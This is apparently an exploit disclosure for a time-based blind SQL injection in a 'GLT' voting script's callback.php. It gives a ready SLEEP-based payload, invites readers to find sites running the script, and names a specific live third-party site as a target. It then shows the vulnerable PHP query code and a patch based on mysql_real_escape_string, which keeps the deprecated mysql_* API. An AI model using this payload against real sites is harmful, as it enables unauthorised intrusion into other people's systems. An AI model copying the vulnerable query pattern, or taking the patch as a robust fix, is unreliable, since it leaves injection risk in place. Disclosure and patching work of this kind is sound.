POC(Proof Of Concept):  
+++++++++++++++++++++++++  
1) Simply find a GLT site and go to the callback file and add  
/vote/php/callback.php?callback=1' AND (SELECT * FROM  
(SELECT(SLEEP(10)))bgus) AND 'jcaE'='jcaE  
2) If the site takes time to load it's vulnerable because of the sleep  
query  
3) Same Site:http://nexusrs.ca/voting/php/callback.php?callback=1' AND  
(SELECT * FROM (SELECT(SLEEP(10)))bgus) AND 'jcaE'='jcaE  
  
Sanitizing:

Hard File Edit:

1)  
public function setSiteVoted($ip, $type)  
{  
$type = intval($type);  
$query = "SELECT * FROM `voting_verification` WHERE `ip` = '" . $ip  
. "' AND `type`='" . $type . "'";  
$result = mysql_query($query);  
if (mysql_num_rows($result) == 0)  
{  
mysql_query("INSERT INTO `voting_verification` (`ip`, `type`)  
VALUES ('" . $ip . "', '" . $type . "')");  
}  
}  
  
callback isn't sanitized before being passed into setSiteVoted here is how  
to patch it.  
  
  
2)  
public function setSiteVoted($ip, $type)  
{  
$type = intval($type);  
$ip_clean = mysql_real_escape_string($ip);  
$query = "SELECT * FROM `voting_verification` WHERE `ip` = '"  
. $ip_clean . "' AND `type`='" . $type . "'";  
$result = mysql_query($query);  
if (mysql_num_rows($result) == 0)  
{  
mysql_query("INSERT INTO `voting_verification` (`ip`, `type`)  
VALUES ('" . $ip_clean . "', '" . $type . "')");  
}  
}
